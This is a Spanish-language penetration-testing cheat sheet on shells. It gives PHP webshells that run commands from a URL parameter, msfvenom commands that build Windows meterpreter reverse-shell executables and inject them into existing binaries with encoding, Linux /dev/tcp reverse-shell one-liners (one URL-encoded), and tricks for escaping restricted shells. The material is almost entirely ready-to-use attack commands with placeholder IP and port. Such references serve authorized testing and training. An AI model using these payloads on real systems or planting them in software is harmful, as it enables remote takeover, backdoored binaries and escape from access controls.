# Shells

## 1. Webshells

En Kali está la ruta

```
/usr/share/webshells
```

PHP

{% code overflow="wrap" %}

```

# Ejecuta un comando
<?php system("whoami"); ?>

# shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# Igual con passthru
<?php passthru($_GET['cmd']); ?>

# Para que shell_exec muestre el resultado hay que usar echo 
<?php echo shell_exec("whoami");?>

# preg_replace(). 
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Usando backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

<?php echo `whoami`; ?>
```

{% endcode %}

## 2. Generación de shells

Msfvenom&#x20;

1. Windows

{% code overflow="wrap" %}

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell_reverse.exe
```

{% endcode %}

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
```

Inyectar el payload en un binario

{% code overflow="wrap" %}

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -i 9 -x "/binario.exe" -o binariOutput.exe
```

{% endcode %}

2. Linux

{% code overflow="wrap" %}

```
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
```

{% endcode %}

```
bash -i >& /dev/tcp/IP/PORT 0>&1

#encoded
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPORT%200%3E%261%22
```

## 3. Shells interactivas

**Python**

```
python -c 'import pty; pty.spawn("/bin/sh")'
python -c "import pty;pty.spawn('/bin/bash')"
python -c 'import os; os.system("/bin/bash")'
```

**Echo**

```
echo 'os.system('/bin/bash')'
```

**sh**

```
/bin/sh -i
```

**bash**

```
/bin/bash -i
```

**Perl**

```
perl -e 'exec "/bin/sh";'
```

**Desde FTP**

```
!/bin/bash
```

**Desde VI**

```
:!bash
:set shell=/bin/bash
:sh
```

## 4. Evasión de shells restrictivas

SSH

```
ssh username@IP -t "/bin/sh"
ssh username@IP -t "bash --noprofile"
```

```unknown
echo /usr/bin/*
$(whoami)
${whoami}
```

Editores de texto

```
:!/bin/sh
:shell
:set shell=/bin/sh
```

Python

```
import os; os.system("/bin/sh")
```

PHP

```
exec("sh -i");
php -r "system('/bin/bash');"
hp -a then exec("sh -i");
```

Miscellaneous

```
awk 'BEGIN {system("/bin/sh")}'
find / -name foobar -exec /bin/sh \;
echo "bash -i" | tee script.sh
```

## Referencias

* <https://vk9-sec.com/linux-restricted-shell-bypass/>
* <https://pranavgadekar.medium.com/the-tale-of-restricted-shell-bypass-leading-to-arbitrary-code-execution-fdb8d5588426>
* <https://sushant747.gitbooks.io/total-oscp-guide/content/reverse-shell.html>

## Recursos:

* <https://www.revshells.com/>
* <https://github.com/brightio/penelope>


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